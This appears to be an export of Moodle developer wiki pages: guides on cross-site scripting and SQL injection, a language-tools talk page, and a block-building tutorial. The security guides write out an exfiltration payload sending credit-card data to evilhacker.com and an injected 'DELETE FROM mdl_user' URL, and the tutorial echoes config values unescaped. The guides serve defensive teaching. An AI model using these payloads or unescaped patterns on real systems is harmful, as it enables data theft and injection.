Normally, web browser prevent JavaScript from server from affecting content that comes from another server. For example, suppose that on your Moodle page (<nowiki>http://mymooodle.com/</nowiki>, you have an iframe displaying an advert from <nowiki>http://makemerich.com/</nowiki>. Then, and JavaScript code in the advert cannot access anything on your page.

In Moodle, we actually let users type in HTML, then we display that HTML as part of our web site. Therefore, any JavaScript they manage to include will have full access to everything on the page.

Why is that a problem? Well, suppose Evil Hacker manages to get some code like
<code javascript>
document.write('<img width="1" height="1" ' +
'src="http://evilhacker.com/savedata.php?creditcard=' +
document.getElementById('creditcard').value + '" />');
</code>
on a page where the user types in their credit card number. Actually, that scenario is quite unlikely in Moodle, but there are more plausible scenarios that are possible.

Another problem is that XSS makes it much easier for Evil Hacker get round sesskey protection. For example
<code javascript>
document.write('<img width="1" height="1" ' +
'src="http://example.com/moodle/user/delete.php?id=123&confirm=1&sesskey=' +
document.getElementById('sesskey').value + '" />');
</code>
Or even more sophisticated, the JavaScript to do that as a POST request, in a forum where an Administrator would go, would be very bad.

Note that, at least in Internet Explorer, JavaScript can be hidden in CSS style information, as well as in the HTML. Flash and Java applets can also be used to execute scripting, as well as the browser's JavaScript engine.

Note also that dangerous content may not only be input into Moodle directly by a user. It may also come, for example, from an external RSS feed.

==How Moodle avoids this problem==

The simplest solution to XSS attacks is to never let the user input rich content like HTML or upload plugins like flash. Unfortunately, with Moodle we want to let our users communicate using rich content. For example, we want students to be able to express themselves by making forum posts in flashing orange text. We want teacher to be able to upload interesting applets for use by their students. Therefore, we have to compromise.

===Escaping output===

Moodle divides content that has been input by the user into four categories:
# Plain text content. For example, a student's response to a short answer question.
# Labels that are plain text, except that they main contain multi-lang spans. For example, a course name or section heading.
# HTML (or wiki, markdown) content, that might have been input by anyone. For example the body of a forum post.
# HTML (or wiki, markdown) content, that could only have been input by a trusted user, like a teacher. For example, the body of a web page resource.

Depending on the type of content, you need to use the appropriate function to output it. For example, if you have plain text content, you should use the s() function to output it. that will replace any < character with &lt;. If that is done, there is no way that the input can be interpreted as JavaScript.

===Cleaning input===

The other part of the protection is cleaning up data as it comes in. This is done using the optional_param or required_param functions. For example, if you say you are expecting an integer as input, by passing PARAM_INT, then you will only get an integer back. Once you know that a variable only contains an integer value, you can be sure it does not contain any malicious JavaScript.

However, for very complex input, like HTML, doing the cleaning is very tricky, and the code is likely to handle some complex situations badly. The algorithms will almost certainly be improved in the future, so for complex content, we store the raw input in the database, and only do the cleaning when it is output, using the latest algorithms.

===Escaping output 2 - JavaScript===

The other place you need to be careful is when you are sending data to JavaScript. For example, if you generate JavaScript in your PHP code like
<code php>
echo '<script type="text/javascript">';
echo 'alert("' . $userinput . '");';
echo '</script>';
</code>
and Evil hacker can make $userinput equal to something like '''"); /* Do something evil. */ (''' then he can get whatever code he chooses to put in the /* Do something evil. */ space to run within your web page.

In Moodle 2.0 and later, the best solution is to not echo JavaScript like this. Instead, follow the [[JavaScript_guidelines|JavaScript guidelines]], and put your JavaScript in an external file, and communicate with it using '''$PAGE->requires->data_for_js''' or '''$PAGE->requires->js_function_call'''. Those two methods properly encode any PHP data to be passed to JavaScript using json_encode.

Before Moodle 1.9, the tools available are less sophisticated. You should still try to put as much JavaScript as possible in an external file, included with require_js, but you will have to manage sending data form PHP to JavaScript yourself. Moodle 1.9 and earlier provide the '''addslashes_js''' function for safely encoding PHP strings for inclusion in JavaScript code.

==What you need to do in your code==

* Get input values using optional_param or required_param with an appropriate PARAM_... type, to ensure that only data of the type you expect is accepted.
* Alternatively, use a '''[[lib/formslib.php|moodleforms]]''', with appropriate ->setType calls in the form definition.
* Clean or escape content appropriately on output.
** Use '''s''' or '''p''' to output plain text content (type 1 above).
** use '''format_string''' to output content with minimal HTML like multi-lang spans (type 2 above).
** Use '''format_text''' to output all other content (types 3 and 4 above). How carefully it is cleaned (that is, the differenve between type 3 and 4) depends on the $options->noclean argument to format_text.
* Any place where a use can input content that is output by format_text, $options->noclean, must be protected by a capability check, and the capability must be marked as RISK_XSS.
* When sending data to JavaScript code:
** In Moodle 2.0 and later, use the '''$PAGE->requires->data_for_js''' or ''$PAGE->requires->js_function_call''' methods.
** In Moodle 1.9 and earlier, escape the data with '''addslashes_js''' before printing it into the JavaScript code.

==What you need to do as an administrator==

* Do not allow a user to have a capability with RISK_XSS unless you trust them.
** The [[Security overview]] report can help you check this.

==See also==

* [[Security]]
* [[Coding]]

{{CategoryDeveloper}}
[[Category:Security]]

[[en:開発:セキュリティ:クロスサイトスクリプティング]]

Security:SQL injection

2010-02-06T05:34:37Z

Mits: ja link

This page forms part of the [[Security|Moodle security guidelines]].

==What is the danger?==

Suppose your code in .../course/view.php?id=123 does something like
<code sql>
SELECT FROM mdl_course WHERE id = $id;
</code>
where the $id = 123 has come from the URL. Suppose that your code does not bother to clean that parameter properly.

Along comes Evil Hacker, and edits the URL to be
: .../course/view.php?id=123;DELETE+FROM+mdl_user
I will let you work out why that is a very, very bad thing.

Of course, depending on exactly what the database query is, the malicious input needs to be constructed appropriately, but that is just a matter of trial and error for Evil Hacker.

==How Moodle avoids this problem==

Once again, it is a case of being very suspicious of any input that came from outside Moodle. In the example above, $id should clearly have been cleaned by passing PARAM_INT to required_param.

It is more tricky with a query like
<code sql>
UPDATE mdl_user SET lastname = '$lastname' WHERE id = $id;
</code>
What happens when $lastname is "O'Brian"? Well, you have to escape the ' like this: "O\'Brian".

In Moodle 1.9, addslashes is applied automatically to all input you get via required_param or optional_param.

In Moodle 2.0 we completely avoid the dangerous process of building SQL by concatenating strings. In Moodle 2.0 the SQL would look like
<code sql>
UPDATE mdl_user SET lastname = ? WHERE id = ?;
</code>
and then we would pass an array of values array($lastname, $id) to the database along with the SQL.

==What you need to do in your code==

In Moodle 2.0
* Use higher level dmllib methods, like get_record, whenever possible, so you do not have to create SQL yourself.
* When you have to insert values into SQL statements, use place-holders to insert the values safely.

In Moodle 1.9
* Use higher level dmllib methods, like get_record, whenever possible, so you do not have to create SQL yourself.
* Data from required_param and optional_param have already had addslashes applied, ready to be used in database queries, but make sure you put single quotes round each value.
* If you have loaded some data from the database, and then want to re-insert it, then apply addslashes or addslashes_object to it first.

* Test your code by using a tool like [http://sqlmap.sourceforge.net/ sqlmap], or by manually trying tricky inputs like
<nowiki>< > & &lt; &gt; &amp; ' \' 碁 \ \\</nowiki>

==What you need to do as an administrator==

* This is not something that administrators can do anything about (other than keeping your Moodle up-to-date).

==See also==

* http://sqlmap.sourceforge.net/ - a tool for automatically finding SQL injection vulnerabilities.
* [[Security]]
* [[Coding]]

{{CategoryDeveloper}}
[[Category:Security]]

[[ja:開発:セキュリティ:SQLインジェクション]]

Talk:Languages subsystem improvements 2.0

2009-12-08T23:57:11Z

Mits: /* Quick notes from our meeting in Prague */

I really like your functional proposal, David - makes a lot of sense and adds possibly a lot of flexability for both developers and translators. All depends on how you see the storage. --[[User:koen roggemans|koen roggemans]] 19:33, 1 December 2009 (UTC)

==Quick notes from our meeting in Prague==
(David feel free to add/modify in line)

It is important for translators to be able to work with external tools, because there are problems in RTL languages to use online tools.

It is also important to keep the translation process a simple as possible.

It will be difficult/impossible to unite all our requirements in an external tool, so there will be the need to create/update a build in translation tool.

For grammar and plural problems there will be a php-function that handles that. It will not be easy to use, but grammar and plural problems are not easy to solve. The whole string should be replaced by the function, based on a variable, because in some languages there is a lot more changing than just a few letters in plurals

The compiling of a language pack is a good idea, but when working with the language editor (in admin menu and the new to implement one at the bottom of the screen) there should be a way to start the compiling process so the translator can see the result immediately. This can be done on file refresh, on leaving the page, with a button, ... It will depend on the time the compilation takes.

Proposal for changes to the translation process:
We replace CVS-access for translators with an upload button in a moodle installation to upload the files to moodle.org. That upload button handles a lot of requirements. It will be the only way for translators to commit files to Moodle.
* it adds the Moodle version to language files so moodle.org knows in which branch they need to go.
* access rights for the upload should be checked on moodle.org
* power users can still work on the files directly or use other translation tools, but the upload to moodle should be done with the correct moodle version
* each string gets a time stamp, put there by the build-in translation tool or by the upload process if the file is modified externally. That can be checked by calculating an md5 for every file on download and on working with the build in translation tool. That is necessary to be able to inform translators about modified English strings
* for translating a new moodle distribution, the translator should install a new distribution copy, import the old language files (they are pre processed on moodle.org = taking out all unused strings) and start working locally, preferably with the build in tool that creates a time stamp for every string, otherwise with an external tool - then the time stamp is created on upload.
* it could handle syntax checking, but that can also be done in the translation tool, on moodle.org after upload or in the compilation process after download. I (Koen) think that the checking in the translation tool is too early, since there are other ways to create the file, and on compilation is too late, because the error is then already in the language pack. I think it is better to prevent the upload of a file with errors so the translator has to fix them immediately before upload.
** ''I think the editor should be able to do syntax checking. It should just hi-light any bad strings in some way. That way, if you do edit a file in another tool, you just have to load it into the built-in editor to check it is OK. This is how the XMLDB editor works.''--[[User:Tim Hunt|Tim Hunt]] 09:13, 6 December 2009 (UTC)
* the upload button only appears on beta release, witch is the start of the translation process and the stop of adding new features.

--[[User:koen roggemans|koen roggemans]] 10:26, 5 December 2009 (UTC)

* To notify translators some string was modified, can we change strings as below?<br />
$string['abouttobeinstalled'][2] = 'about to be installed';<br />
$string['action'][0] = 'Action';<br />
$string['actions'][1] = 'Actions'; -- [[User:Mitsuhiro Yoshida|Mitsuhiro Yoshida]] 17:35, 8 December 2009 (UTC)

* Ability to bulk change translated strings. --　[[User:Mitsuhiro Yoshida|Mitsuhiro Yoshida]] 23:57, 8 December 2009 (UTC)

Talk:Languages subsystem improvements 2.0

2009-12-08T17:35:09Z

Mits: /* Quick notes from our meeting in Prague */

Talk:Languages subsystem improvements 2.0

2009-12-08T17:32:19Z

Mits:

I really like your functional proposal, David - makes a lot of sense and adds possibly a lot of flexability for both developers and translators. All depends on how you see the storage. --[[User:koen roggemans|koen roggemans]] 19:33, 1 December 2009 (UTC)

==Quick notes from our meeting in Prague==
(David feel free to add/modify in line)

It is important for translators to be able to work with external tools, because there are problems in RTL languages to use online tools.

It is also important to keep the translation process a simple as possible.

It will be difficult/impossible to unite all our requirements in an external tool, so there will be the need to create/update a build in translation tool.

For grammar and plural problems there will be a php-function that handles that. It will not be easy to use, but grammar and plural problems are not easy to solve. The whole string should be replaced by the function, based on a variable, because in some languages there is a lot more changing than just a few letters in plurals

The compiling of a language pack is a good idea, but when working with the language editor (in admin menu and the new to implement one at the bottom of the screen) there should be a way to start the compiling process so the translator can see the result immediately. This can be done on file refresh, on leaving the page, with a button, ... It will depend on the time the compilation takes.

Proposal for changes to the translation process:
We replace CVS-access for translators with an upload button in a moodle installation to upload the files to moodle.org. That upload button handles a lot of requirements. It will be the only way for translators to commit files to Moodle.
* it adds the Moodle version to language files so moodle.org knows in which branch they need to go.
* access rights for the upload should be checked on moodle.org
* power users can still work on the files directly or use other translation tools, but the upload to moodle should be done with the correct moodle version
* each string gets a time stamp, put there by the build-in translation tool or by the upload process if the file is modified externally. That can be checked by calculating an md5 for every file on download and on working with the build in translation tool. That is necessary to be able to inform translators about modified English strings
* for translating a new moodle distribution, the translator should install a new distribution copy, import the old language files (they are pre processed on moodle.org = taking out all unused strings) and start working locally, preferably with the build in tool that creates a time stamp for every string, otherwise with an external tool - then the time stamp is created on upload.
* it could handle syntax checking, but that can also be done in the translation tool, on moodle.org after upload or in the compilation process after download. I (Koen) think that the checking in the translation tool is too early, since there are other ways to create the file, and on compilation is too late, because the error is then already in the language pack. I think it is better to prevent the upload of a file with errors so the translator has to fix them immediately before upload.
** ''I think the editor should be able to do syntax checking. It should just hi-light any bad strings in some way. That way, if you do edit a file in another tool, you just have to load it into the built-in editor to check it is OK. This is how the XMLDB editor works.''--[[User:Tim Hunt|Tim Hunt]] 09:13, 6 December 2009 (UTC)
* the upload button only appears on beta release, witch is the start of the translation process and the stop of adding new features.

--[[User:koen roggemans|koen roggemans]] 10:26, 5 December 2009 (UTC)

To notify translators some string was modified, can we change strings as below?

$string['abouttobeinstalled'][2] = 'about to be installed';<br />
$string['action'][0] = 'Action';<br />
$string['actions'][1] = 'Actions';

Blocks

2009-09-22T20:48:31Z

Mits: ja link

''' A Step-by-step Guide To Creating Blocks '''

Original Author: Jon Papaioannou (pj@moodle.org)

The present document serves as a guide to developers who want to create their own blocks for use in Moodle. It applies to the 1.5 development version of Moodle (and any newer) '''only''', as the blocks subsystem was rewritten and expanded for the 1.5 release. However, you can also find it useful if you want to modify blocks written for Moodle 1.3 and 1.4 to work with the latest versions (look at [[Blocks/Appendix_B| Appendix B]]).

The guide is written as an interactive course which aims to develop a configurable, multi-purpose block that displays arbitrary HTML. It's targeted mainly at people with little experience with Moodle or programming in general and aims to show how easy it is to create new blocks for Moodle. A certain small amount of PHP programming knowledge is still required, though.

Experienced developers and those who just want a '''reference''' text should refer to [[Blocks/Appendix_A| Appendix A]] because the main guide has a rather low concentration of pure information in the text.

== Basic Concepts ==

Through this guide, we will be following the creation of an "HTML" block from scratch in order to demonstrate most of the block features at our disposal. Our block will be named "SimpleHTML". This does not constrain us regarding the name of the actual directory on the server where the files for our block will be stored, but for consistency we will follow the practice of using the lowercased form "simplehtml" in any case where such a name is required.

Whenever we refer to a file or directory name which contains "simplehtml", it's important to remember that ''only'' the "simplehtml" part is up to us to change; the rest is standardized and essential for Moodle to work correctly.

Whenever a file's path is mentioned in this guide, it will always start with a slash. This refers to the Moodle home directory; all files and directories will be referred to with respect to that directory.

== Ready, Set, Go! ==

To define a "block" in Moodle, in the most basic case we need to provide just one source code file. We start by creating the directory ''/blocks/simplehtml/'' and creating a file named ''/blocks/simplehtml/'''''block_simplehtml.php''' which will hold our code. We then begin coding the block:

<code php>
<?php
class block_simplehtml extends block_base {
function init() {
$this->title = get_string('simplehtml', 'block_simplehtml');
$this->version = 2004111200;
}
// The PHP tag and the curly bracket for the class definition
// will only be closed after there is another function added in the next section.
</code>

The first line is our block class definition; it must be named exactly in the manner shown. Again, only the "simplehtml" part can (and indeed must) change; everything else is standardized.

Our class is then given a small method: [[Blocks/Appendix_A#init.28.29| init()]]. This is essential for all blocks, and its purpose is to set the two class member variables listed inside it. But what do these values actually mean? Here's a more detailed description.

[[Blocks/Appendix_A#.24this-.3Etitle| $this->title]] is the title displayed in the header of our block. We can set it to whatever we like; in this case it's set to read the actual title from a language file we are presumably distributing together with the block. I 'll skip ahead a bit here and say that if you want your block to display '''no''' title at all, then you should set this to any descriptive value you want (but '''not''' make it an empty string). We will later see [[Blocks#Eye_Candy| how to disable the title's display]].

[[Blocks/Appendix_A#.24this-.3Eversion| $this->version]] is the version of our block. This actually would only make a difference if your block wanted to keep its own data in special tables in the database (i.e. for very complex blocks). In that case the version number is used exactly as it's used in activities; an upgrade script uses it to incrementally upgrade an "old" version of the block's data to the latest. We will outline this process further ahead, since blocks tend to be relatively simple and not hold their own private data.

In our example, this is certainly the case so we just set [[Blocks/Appendix_A#.24this-.3Eversion| $this->version]] to '''YYYYMMDD00''' and forget about it.

'''UPDATING:'''<br />
Prior to version 1.5, the basic structure of each block class was slightly different. Refer to [[Blocks/Appendix_B| Appendix B]] for more information on the changes that old blocks have to make to conform to the new standard.

== I Just Hear Static ==
In order to get our block to actually display something on screen, we need to add one more method to our class (before the final closing brace in our file). The new code is:

<code php>
function get_content() {
if ($this->content !== NULL) {
return $this->content;
}

$this->content = new stdClass;
$this->content->text = 'The content of our SimpleHTML block!';
$this->content->footer = 'Footer here...';

return $this->content;
}
} // Here's the closing curly bracket for the class definition
// and here's the closing PHP tag from the section above.
?> </code>

It can't get any simpler than that, can it? Let's dissect this method to see what's going on...

First of all, there is a check that returns the current value of [[Blocks/Appendix_A#.24this-.3Econtent| $this->content]] if it's not NULL; otherwise we proceed with "computing" it. Since the computation is potentially a time-consuming operation and it '''will''' be called several times for each block (Moodle works that way internally), we take a precaution and include this time-saver.
Supposing the content had not been computed before (it was NULL), we then define it from scratch. The code speaks for itself there, so there isn't much to say. Just keep in mind that we can use HTML both in the text '''and''' in the footer, if we want to.

At this point our block should be capable of being automatically installed in Moodle and added to courses; visit your administration page to install it (Click "Notifications" under the Site Administration Block) and after seeing it in action come back to continue our tutorial.

== Configure That Out ==

The current version of our block doesn't really do much; it just displays a fixed message, which is not very useful. What we 'd really like to do is allow the teachers to customize what goes into the block. This, in block-speak, is called "instance configuration". So let's give our block some instance configuration...
First of all, we need to tell Moodle that we want it to provide instance-specific configuration amenities to our block. That's as simple as adding one more method to our block class:

<code php>
function instance_allow_config() {
return true;
}
</code>

This small change is enough to make Moodle display an "Edit..." icon in our block's header when we turn editing mode on in any course. However, if you try to click on that icon you will be presented with a notice that complains about the block's configuration not being implemented correctly. Try it, it's harmless.
Moodle's complaints do make sense. We told it that we want to have configuration, but we didn't say ''what'' kind of configuration we want, or how it should be displayed. To do that, we need to create one more file: <span class="filename">/blocks/simplehtml/'''config_instance.html'''</span> (which has to be named exactly like that). For the moment, copy paste the following into it and save:

<code php>
<table cellpadding="9" cellspacing="0">
<tr valign="top">
<td align="right">
<?php print_string('configcontent', 'block_simplehtml'); ?>:
</td>
<td>
<?php print_textarea(true, 10, 50, 0, 0, 'text', $this->config->text); ?>
</td>
</tr>
<tr>
<td colspan="2" align="center">
<input type="submit" value="<?php print_string('savechanges') ?>" />
</td>
</tr>
</table>

<?php use_html_editor(); ?>
</code>

It isn't difficult to see that the above code just provides us with a wysiwyg-editor-enabled textarea to write our block's desired content in and a submit button to save. But... what's $this->config->text? Well...
Moodle goes a long way to make things easier for block developers. Did you notice that the textarea is actually named "text"? When the submit button is pressed, Moodle saves each and every field it can find in our '''config_instance.html''' file as instance configuration data.

We can then access that data as '''$this->config->''variablename''''', where ''variablename'' is the actual name we used for our field; in this case, "text". So in essence, the above form just pre-populates the textarea with the current content of the block (as indeed it should) and then allows us to change it.

You also might be surprised by the presence of a submit button and the absence of any <form> element at the same time. But the truth is, we don't need to worry about that at all; Moodle goes a really long way to make things easier for developers! We just print the configuration options we want, in any format we want; include a submit button, and Moodle will handle all the rest itself. The instance configuration variables are automatically at our disposal to access from any of the class methods ''except'' [[Blocks/Appendix_A#init.28.29| init()]].

In the event where the default behavior is not satisfactory, we can still override it. However, this requires advanced modifications to our block class and will not be covered here; refer to [[Blocks/Appendix_A| Appendix A]] for more details.
Having now the ability to refer to this instance configuration data through [[Blocks/Appendix_A#.24this-.3Econfig| $this->config]], the final twist is to tell our block to actually ''display'' what is saved in its configuration data. To do that, find this snippet in ''/blocks/simplehtml/block_simplehtml.php'':

<code php>
$this->content = new stdClass;
$this->content->text = 'The content of our SimpleHTML block!';
$this->content->footer = 'Footer here...';
</code>

and change it to:

<code php>
$this->content = new stdClass;
$this->content->text = $this->config->text;
$this->content->footer = 'Footer here...';
</code>

Oh, and since the footer isn't really exciting at this point, we remove it from our block because it doesn't contribute anything. We could just as easily have decided to make the footer configurable in the above way, too. So for our latest code, the snippet becomes:

<code php>
$this->content = new stdClass;
$this->content->text = $this->config->text;
$this->content->footer = '';
</code>

After this discussion, our block is ready for prime time! Indeed, if you now visit any course with a SimpleHTML block, you will see that modifying its contents is now a snap.

[[#top|Back to top of page]]

== The Specialists ==

Implementing instance configuration for the block's contents was good enough to whet our appetite, but who wants to stop there? Why not customize the block's title, too?

Why not, indeed. Well, our first attempt to achieve this is natural enough: let's add another field to <span class="filename">/blocks/simplehtml/config_instance.html</span>. Here goes:

<code php>
<tr valign="top">
<td align="right"><p>
<?php print_string('configtitle', 'block_simplehtml'); ?>:</p>
</td>
<td>
<input type="text" name="title" size="30" value="<?php echo $this->config->title; ?>" />
</td>
</tr>
</code>

We save the edited file, go to a course, edit the title of the block and... nothing happens! The instance configuration is saved correctly, all right (editing it once more proves that) but it's not being displayed. All we get is just the simple "SimpleHTML" title.

That's not too weird, if we think back a bit. Do you remember that [[Blocks/Appendix_A#init.28.29|init()]] method, where we set [[Blocks/Appendix_A#.24this-.3Etitle|$this->title]]? We didn't actually change its value from then, and [[Blocks/Appendix_A#.24this-.3Etitle|$this->title]] is definitely not the same as '''$this->config->title''' (to Moodle, at least). What we need is a way to update [[Blocks/Appendix_A#.24this-.3Etitle|$this->title]] with the value in the instance configuration. But as we said a bit earlier, we can use [[Blocks/Appendix_A#.24this-.3Econfig| $this->config]] in all methods ''except'' [[Blocks/Appendix_A#init.28.29|init()]]! So what can we do?

Let's pull out another ace from our sleeve, and add this small method to our block class:

<code php>
function specialization() {
if(!empty($this->config->title)){
$this->title = $this->config->title;
}else{
$this->config->title = 'Some title ...';
}
if(empty($this->config->text)){
$this->config->text = 'Some text ...';
}
}
</code>

Aha, here's what we wanted to do all along! But what's going on with the [[Blocks/Appendix_A#specialization.28.29| specialization()]] method?

This "magic" method has actually a very nice property: it's ''guaranteed'' to be automatically called by Moodle as soon as our instance configuration is loaded and available (that is, immediately after [[Blocks/Appendix_A#init.28.29|init()]] is called). That means before the block's content is computed for the first time, and indeed before ''anything'' else is done with the block. Thus, providing a [[Blocks/Appendix_A#specialization.28.29| specialization()]] method is the natural choice for any configuration data that needs to be acted upon "as soon as possible", as in this case.

== Now You See Me, Now You Don't ==

Now would be a good time to mention another nifty technique that can be used in blocks, and which comes in handy quite often. Specifically, it may be the case that our block will have something interesting to display some of the time; but in some other cases, it won't have anything useful to say. (An example here would be the "Recent Activity" block, in the case where no recent activity in fact exists.

However in that case the block chooses to explicitly inform you of the lack of said activity, which is arguably useful). It would be nice, then, to be able to have our block "disappear" if it's not needed to display it.

This is indeed possible, and the way to do it is to make sure that after the [[Blocks/Appendix_A#get_content.28.29| get_content()]] method is called, the block is completely void of content. Specifically, "void of content" means that both $this->content->text and $this->content->footer are each equal to the empty string (<nowiki>''</nowiki>). Moodle performs this check by calling the block's [[Blocks/Appendix_A#is_empty.28.29| is_empty()]] method, and if the block is indeed empty then it is not displayed at all.

Note that the exact value of the block's title and the presence or absence of a [[Blocks/Appendix_A#hide_header.28.29| hide_header()]] method do ''not'' affect this behavior. A block is considered empty if it has no content, irrespective of anything else.

== We Are Legion ==

Right now our block is fully configurable, both in title and content. It's so versatile, in fact, that we could make pretty much anything out of it. It would be really nice to be able to add multiple blocks of this type to a single course. And, as you might have guessed, doing that is as simple as adding another small method to our block class:

<code php>
function instance_allow_multiple() {
return true;
}
</code>

This tells Moodle that it should allow any number of instances of the SimpleHTML block in any course. After saving the changes to our file, Moodle immediately allows us to add multiple copies of the block without further ado!

There are a couple more of interesting points to note here. First of all, even if a block itself allows multiple instances in the same page, the administrator still has the option of disallowing such behavior. This setting can be set separately for each block from the Administration / Configuration / Blocks page.

And finally, a nice detail is that as soon as we defined an [[Blocks/Appendix_A#instance_allow_multiple.28.29| instance_allow_multiple()]] method, the method [[Blocks/Appendix_A#instance_allow_config.28.29| instance_allow_config()]] that was already defined became obsolete.

Moodle assumes that if a block allows multiple instances of itself, those instances will want to be configured (what is the point of same multiple instances in the same page if they are identical?) and thus automatically provides an "Edit" icon. So, we can also remove the whole [[Blocks/Appendix_A#instance_allow_config.28.29| instance_allow_config()]] method now without harm. We had only needed it when multiple instances of the block were not allowed.

[[#top|Back to top of page]]

== The Effects of Globalization ==

Configuring each block instance with its own personal data is cool enough, but sometimes administrators need some way to "touch" all instances of a specific block at the same time. In the case of our SimpleHTML block, a few settings that would make sense to apply to all instances aren't that hard to come up with.

For example, we might want to limit the contents of each block to only so many characters, or we might have a setting that filters HTML out of the block's contents, only allowing pure text in. Granted, such a feature wouldn't win us any awards for naming our block "SimpleHTML" but some tormented administrator somewhere might actually find it useful.

This kind of configuration is called "global configuration" and applies only to a specific block type (all instances of that block type are affected, however). Implementing such configuration for our block is quite similar to implementing the instance configuration. We will now see how to implement the second example, having a setting that only allows text and not HTML in the block's contents.
First of all, we need to tell Moodle that we want our block to provide global configuration by, what a surprise, adding a small method to our block class:

<code php>
function has_config() {
return true;
}
</code>

Then, we need to create a HTML file that actually prints out the configuration screen. In our case, we 'll just print out a checkbox saying "Do not allow HTML in the content" and a "submit" button. Let's create the file <span class="filename">/blocks/simplehtml/config_global.html</span> which again must be named just so, and copy paste the following into it:

[[Development_talk:Blocks|TODO: New settings.php method]]
: Just to note that general documentation about admin settings is at [[Admin_settings#Individual_settings]]. In the absence of documentation, you can look at blocks/course_list, blocks/online_users and blocks/rss_client. They all use a settings.php file.--[[User:Tim Hunt|Tim Hunt]] 19:38, 28 January 2009 (CST)

<code php>
<div style="text-align: center;">
<input type="hidden" name="block_simplehtml_strict" value="0" />
<input type="checkbox" name="block_simplehtml_strict" value="1"
<?php if(!empty($CFG->block_simplehtml_strict))
echo 'checked="checked"'; ?> />
<?php print_string('donotallowhtml', 'block_simplehtml'); ?>
<p>
<input type="submit" value="<?php print_string('savechanges'); ?>" />
</p>
</div>
</code>

True to our block's name, this looks simple enough. What it does is that it displays a checkbox named "block_simplehtml_strict" and if the Moodle configuration variable with the same name (i.e., $CFG->block_simplehtml_strict) is set and not empty (that means it's not equal to an empty string, to zero, or to boolean FALSE) it displays the box as pre-checked (reflecting the current status).

Why does it check the configuration setting with the same name? Because the default implementation of the global configuration saving code takes all the variables we have in our form and saves them as Moodle configuration options with the same name. Thus, it's good practice to use a descriptive name and also one that won't possibly conflict with the name of another setting.

"block_simplehtml_strict" clearly satisfies both requirements.

The astute reader may have noticed that we actually have ''two'' input fields named "block_simplehtml_strict" in our configuration file. One is hidden and its value is always 0; the other is the checkbox and its value is 1. What gives? Why have them both there?

Actually, this is a small trick we use to make our job as simple as possible. HTML forms work this way: if a checkbox in a form is not checked, its name does not appear at all in the variables passed to PHP when the form is submitted. That effectively means that, when we uncheck the box and click submit, the variable is not passed to PHP at all. Thus, PHP does not know to update its value to "0", and our "strict" setting cannot be turned off at all once we turn it on for the first time. Not the behavior we want, surely.

However, when PHP handles received variables from a form, the variables are processed in the order in which they appear in the form. If a variable comes up having the same name with an already-processed variable, the new value overwrites the old one. Taking advantage of this, our logic runs as follows: the variable "block_simplehtml_strict" is first unconditionally set to "0". Then, ''if'' the box is checked, it is set to "1", overwriting the previous value as discussed. The net result is that our configuration setting behaves as it should.

To round our bag of tricks up, notice that the use of ''if(!empty($CFG->block_simplehtml_strict))'' in the test for "should the box be checked by default?" is quite deliberate. The first time this script runs, the variable '''$CFG->block_simplehtml_strict''' will not exist at all. After it's set for the first time, its value can be either "0" or "1". Given that both "not set" and the string "0" evaluate as empty while the sting "1" does not, we manage to avoid any warnings from PHP regarding the variable not being set at all, ''and'' have a nice human-readable representation for its two possible values ("0" and "1").

=== config_save() ===

Now that we have managed to cram a respectable amount of tricks into a few lines of HTML, we might as well discuss the alternative in case that tricks are not enough for a specific configuration setup we have in mind. Saving the data is done in the method [[Blocks/Appendix_A#config_save.28.29| config_save()]], the default implementation of which is as follows:

<code php>
function config_save($data) {
// Default behavior: save all variables as $CFG properties
foreach ($data as $name => $value) {
set_config($name, $value);
}
return true;
}
</code>

As can be clearly seen, Moodle passes this method an associative array $data which contains all the variables coming in from our configuration screen. If we wanted to do the job without the "hidden variable with the same name" trick we used above, one way to do it would be by overriding this method with the following:

<code php>
function config_save($data) {
if(isset($data['block_simplehtml_strict'])) {
set_config('block_simplehtml_strict', '1');
}else {
set_config('block_simplehtml_strict', '0');
}
return true;
}
</code>

Quite straightfoward: if the variable "block_simplehtml_strict" is passed to us, then it can only mean that the user has checked it, so set the configuration variable with the same name to "1". Otherwise, set it to "0". Of course, this version would need to be updated if we add more configuration options because it doesn't respond to them as the default implementation does. Still, it's useful to know how we can override the default implementation if it does not fit our needs (for example, we might not want to save the variable as part of the Moodle configuration but do something else with it).

So, we are now at the point where we know if the block should allow HTML tags in its content or not. How do we get the block to actually respect that setting?

We could decide to do one of two things: either have the block "clean" HTML out from the input before saving it in the instance configuration and then display it as-is (the "eager" approach); or have it save the data "as is" and then clean it up each time just before displaying it (the "lazy" approach). The eager approach involves doing work once when saving the configuration; the lazy approach means doing work each time the block is displayed and thus it promises to be worse performance-wise. We shall hence go with the eager approach.

[[#top|Back to top of page]]

=== instance_config_save() ===

Much as we did just before with overriding [[Blocks/Appendix_A#config_save.28.29| config_save()]], what is needed here is overriding the method [[Blocks/Appendix_A#instance_config_save.28.29| instance_config_save()]] which handles the instance configuration. The default implementation is as follows:

<code php>
function instance_config_save($data) {
$data = stripslashes_recursive($data);
$this->config = $data;
return set_field('block_instance',
'configdata',
base64_encode(serialize($data)),
'id',
$this->instance->id);
}
</code>

This may look intimidating at first (what's all this stripslashes_recursive() and base64_encode() and serialize() stuff?) but do not despair; we won't have to touch any of it. We will only add some extra validation code in the beginning and then instruct Moodle to additionally call this default implementation to do the actual storing of the data. Specifically, we will add a method to our class which goes like this:

<code php>
function instance_config_save($data) {
// Clean the data if we have to
global $CFG;
if(!empty($CFG->block_simplehtml_strict)) {
$data->text = strip_tags($data->text);
}

// And now forward to the default implementation defined in the parent class
return parent::instance_config_save($data);
}
</code>

At last! Now the administrator has absolute power of life and death over what type of content is allowed in our "SimpleHTML" block! Absolute? Well... not exactly. In fact, if we think about it for a while, it will become apparent that if at some point in time HTML is allowed and some blocks have saved their content with HTML included, and afterwards the administrator changes the setting to "off", this will only prevent subsequent content changes from including HTML. Blocks which already had HTML in their content would continue to display it!

Following that train of thought, the next stop is realizing that we wouldn't have this problem if we had chosen the lazy approach a while back, because in that case we would "sanitize" each block's content just before it was displayed.

The only thing we can do with the eager approach is strip all the tags from the content of all SimpleHTML instances as soon as the admin setting is changed to "HTML off"; but even then, turning the setting back to "HTML on" won't bring back the tags we stripped away. On the other hand, the lazy approach might be slower, but it's more versatile; we can choose whether to strip or keep the HTML before displaying the content, and we won't lose it at all if the admin toggles the setting off and on again. Isn't the life of a developer simple and wonderful?

=== Exercise ===
We will let this part of the tutorial come to a close with the obligatory exercise for the reader:
In order to have the SimpleHTML block work "correctly", find out how to strengthen the eager approach to strip out all tags from the existing configuration of all instances of our block, '''or''' go back and implement the lazy approach instead.
